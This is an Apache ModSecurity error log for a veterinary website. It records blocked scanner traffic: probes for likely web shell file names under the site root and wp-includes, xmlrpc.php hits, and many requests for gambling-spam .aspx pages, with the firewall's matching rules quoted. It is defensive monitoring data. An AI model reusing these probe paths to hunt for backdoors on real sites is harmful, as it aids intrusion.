[Fri Apr 03 21:46:55.701270 2026] [:error] [pid 40562:tid 40581] [client 172.161.140.213:9434] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "ac_EzzfFMXuP9zvqCeqP7wAAAZA"]
[Fri Apr 03 21:46:56.187711 2026] [:error] [pid 35469:tid 35479] [client 172.161.140.213:17898] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "ac_E0KGvTIc8-wY3jUStmAAAAQg"]
[Fri Apr 03 21:46:56.754531 2026] [:error] [pid 40562:tid 40586] [client 172.161.140.213:1802] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "ac_E0DfFMXuP9zvqCeqP-AAAAZU"]
[Fri Apr 03 21:46:57.326638 2026] [:error] [pid 33446:tid 33487] [client 172.161.140.213:9424] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "ac_E0dg3dCqFYIIdw0p7mAAAAEo"]
[Fri Apr 03 21:46:57.906903 2026] [:error] [pid 33542:tid 33546] [client 172.161.140.213:13064] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "ac_E0Xwb6uB1LaGtepYAnQAAAME"]
[Fri Apr 03 21:46:58.536014 2026] [:error] [pid 40533:tid 40542] [client 172.161.140.213:13115] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "ac_E0vbIAA8AViDmwsu0CgAAAUc"]
[Fri Apr 03 21:46:59.169058 2026] [:error] [pid 40562:tid 40570] [client 172.161.140.213:14010] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "ac_E0zfFMXuP9zvqCeqP_wAAAYU"]
[Fri Apr 03 21:46:59.868560 2026] [:error] [pid 33445:tid 33473] [client 172.161.140.213:19845] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "ac_E01lRNZ0iDVmJWM0WvQAAABc"]
[Fri Apr 03 21:47:00.377044 2026] [:error] [pid 40533:tid 40538] [client 172.161.140.213:15574] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "ac_E1PbIAA8AViDmwsu0DQAAAUM"]
[Fri Apr 03 21:47:00.893163 2026] [:error] [pid 40533:tid 40559] [client 172.161.140.213:15613] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "ac_E1PbIAA8AViDmwsu0DwAAAVg"]
[Fri Apr 03 21:47:01.528784 2026] [:error] [pid 55174:tid 55181] [client 172.161.140.213:13075] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "ac_E1Z_WKqUonPNUHYz9hgAAAcU"]
[Fri Apr 03 21:47:02.213984 2026] [:error] [pid 33445:tid 33454] [client 172.161.140.213:15582] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "ac_E1llRNZ0iDVmJWM0WxgAAAAQ"]
[Fri Apr 03 21:47:02.771397 2026] [:error] [pid 40562:tid 40583] [client 172.161.140.213:15614] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac_E1jfFMXuP9zvqCeqQCgAAAZI"]
[Fri Apr 03 22:21:39.781632 2026] [:error] [pid 33445:tid 33464] [client 103.165.103.48:60475] [client 103.165.103.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.165.103.48, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ac_M81lRNZ0iDVmJWM0r0gAAAA4"], referer: https://vetstars.com.au/
[Fri Apr 03 22:58:05.790714 2026] [:error] [pid 33445:tid 33458] [client 113.169.210.5:46071] [client 113.169.210.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.169.210.5, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ac_VfVlRNZ0iDVmJWM1I6gAAAAg"]
[Sat Apr 04 00:39:11.986337 2026] [:error] [pid 12081:tid 12109] [client 45.92.1.144:50636] [client 45.92.1.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "ac_tL6MJBCYerZTQdmLaEAAAAEk"]
[Sat Apr 04 00:39:12.474309 2026] [:error] [pid 12081:tid 12102] [client 45.92.1.144:53075] [client 45.92.1.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "ac_tMKMJBCYerZTQdmLaFQAAAEI"]
[Sat Apr 04 00:39:12.960071 2026] [:error] [pid 12233:tid 12240] [client 45.92.1.144:51208] [client 45.92.1.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "ac_tMBQDAzkmdfiSgI12MAAAAQU"]
[Sat Apr 04 00:39:15.531334 2026] [:error] [pid 12233:tid 12246] [client 45.92.1.144:65480] [client 45.92.1.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "ac_tMxQDAzkmdfiSgI12OQAAAQs"]
[Sat Apr 04 02:11:18.408632 2026] [:error] [pid 12097:tid 12170] [client 110.166.71.39:51883] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adACxhnkcvJ01y2CY3nGNAAAAM8"]
[Sat Apr 04 03:47:10.771001 2026] [:error] [pid 36995:tid 37026] [client 75.119.155.172:33326] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adAZPii33-VM1wZicwS9YQAAABQ"]
[Sat Apr 04 03:47:13.334689 2026] [:error] [pid 36995:tid 37022] [client 75.119.155.172:33338] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adAZQSi33-VM1wZicwS9awAAABA"]
[Sat Apr 04 03:47:15.995077 2026] [:error] [pid 37090:tid 37117] [client 75.119.155.172:33344] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adAZQ-Os05xkA3bSxMcSLgAAANg"]
[Sat Apr 04 03:47:18.525630 2026] [:error] [pid 36997:tid 37061] [client 75.119.155.172:37220] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adAZRthdKImeRBAtzlyBDAAAAIE"]
[Sat Apr 04 03:47:21.113141 2026] [:error] [pid 36997:tid 37081] [client 75.119.155.172:37230] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adAZSdhdKImeRBAtzlyBGwAAAJQ"]
[Sat Apr 04 03:47:23.804714 2026] [:error] [pid 37090:tid 37096] [client 75.119.155.172:37234] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adAZS-Os05xkA3bSxMcSVQAAAMM"]
[Sat Apr 04 03:47:26.403313 2026] [:error] [pid 36997:tid 37076] [client 75.119.155.172:37244] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adAZTthdKImeRBAtzlyBNQAAAI8"]
[Sat Apr 04 03:47:28.955589 2026] [:error] [pid 36995:tid 37029] [client 75.119.155.172:42094] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adAZUCi33-VM1wZicwS9iwAAABc"]
[Sat Apr 04 03:47:31.594627 2026] [:error] [pid 36996:tid 37056] [client 75.119.155.172:42106] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adAZU_ZCLPDVmWK8lly18QAAAFc"]
[Sat Apr 04 03:47:34.195958 2026] [:error] [pid 36995:tid 37028] [client 75.119.155.172:42120] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adAZVii33-VM1wZicwS9kQAAABY"]
[Sat Apr 04 03:47:36.790862 2026] [:error] [pid 37090:tid 37102] [client 75.119.155.172:58010] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adAZWOOs05xkA3bSxMcSfgAAAMk"]
[Sat Apr 04 03:47:39.386730 2026] [:error] [pid 36996:tid 37039] [client 75.119.155.172:58020] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adAZW_ZCLPDVmWK8lly19QAAAEY"]
[Sat Apr 04 03:47:41.931581 2026] [:error] [pid 36997:tid 37066] [client 75.119.155.172:58028] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adAZXdhdKImeRBAtzlyBnQAAAIY"]
[Sat Apr 04 03:47:44.529324 2026] [:error] [pid 36995:tid 37008] [client 75.119.155.172:58038] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adAZYCi33-VM1wZicwS9nwAAAAI"]
[Sat Apr 04 03:47:47.049021 2026] [:error] [pid 36995:tid 37027] [client 75.119.155.172:34914] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adAZYyi33-VM1wZicwS9ogAAABU"]
[Sat Apr 04 03:47:49.596502 2026] [:error] [pid 36997:tid 37083] [client 75.119.155.172:34918] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adAZZdhdKImeRBAtzlyBuAAAAJY"]
[Sat Apr 04 03:47:52.255574 2026] [:error] [pid 36995:tid 37023] [client 75.119.155.172:34932] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adAZaCi33-VM1wZicwS9qAAAABE"]
[Sat Apr 04 03:47:54.839833 2026] [:error] [pid 36996:tid 37045] [client 75.119.155.172:34948] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adAZavZCLPDVmWK8lly2DAAAAEw"]
[Sat Apr 04 03:47:57.439172 2026] [:error] [pid 37090:tid 37106] [client 75.119.155.172:3950] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "adAZbeOs05xkA3bSxMcS6AAAAM0"]
[Sat Apr 04 03:48:00.103776 2026] [:error] [pid 37090:tid 37106] [client 75.119.155.172:3964] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adAZcOOs05xkA3bSxMcS9AAAAM0"]
[Sat Apr 04 03:48:02.707498 2026] [:error] [pid 37090:tid 37105] [client 75.119.155.172:3978] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adAZcuOs05xkA3bSxMcS_QAAAMw"]
[Sat Apr 04 03:49:01.363669 2026] [:error] [pid 37090:tid 37107] [client 75.119.155.172:33806] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "adAZreOs05xkA3bSxMcTwQAAAM4"]
[Sat Apr 04 03:49:04.020636 2026] [:error] [pid 37090:tid 37095] [client 75.119.155.172:33820] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adAZsOOs05xkA3bSxMcTzQAAAMI"]
[Sat Apr 04 03:49:06.569333 2026] [:error] [pid 36996:tid 37051] [client 75.119.155.172:1030] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adAZsvZCLPDVmWK8lly21wAAAFI"]
[Sat Apr 04 03:49:09.253914 2026] [:error] [pid 36995:tid 37011] [client 75.119.155.172:1040] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "adAZtSi33-VM1wZicwS-OAAAAAU"]
[Sat Apr 04 03:49:11.844861 2026] [:error] [pid 36995:tid 37024] [client 75.119.155.172:1050] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adAZtyi33-VM1wZicwS-OQAAABI"]
[Sat Apr 04 03:49:14.261109 2026] [:error] [pid 36996:tid 37035] [client 75.119.155.172:1064] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adAZuvZCLPDVmWK8lly24gAAAEI"]
[Sat Apr 04 03:49:16.893575 2026] [:error] [pid 36997:tid 37074] [client 75.119.155.172:47850] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adAZvNhdKImeRBAtzlyCkgAAAI0"]
[Sat Apr 04 03:49:19.499999 2026] [:error] [pid 37090:tid 37104] [client 75.119.155.172:47852] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adAZv-Os05xkA3bSxMcT8gAAAMs"]
[Sat Apr 04 03:49:22.091723 2026] [:error] [pid 36995:tid 37009] [client 75.119.155.172:47858] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adAZwii33-VM1wZicwS-SAAAAAM"]
[Sat Apr 04 03:49:24.684761 2026] [:error] [pid 37090:tid 37107] [client 75.119.155.172:47872] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adAZxOOs05xkA3bSxMcT_QAAAM4"]
[Sat Apr 04 03:49:27.273290 2026] [:error] [pid 36997:tid 37085] [client 75.119.155.172:7924] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adAZx9hdKImeRBAtzlyCswAAAJg"]
[Sat Apr 04 03:49:29.867566 2026] [:error] [pid 36997:tid 37081] [client 75.119.155.172:7932] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adAZydhdKImeRBAtzlyCvQAAAJQ"]
[Sat Apr 04 03:49:32.474716 2026] [:error] [pid 36996:tid 37037] [client 75.119.155.172:7934] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adAZzPZCLPDVmWK8lly29AAAAEQ"]
[Sat Apr 04 03:49:35.022640 2026] [:error] [pid 36997:tid 37082] [client 75.119.155.172:7944] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adAZz9hdKImeRBAtzlyCxwAAAJU"]
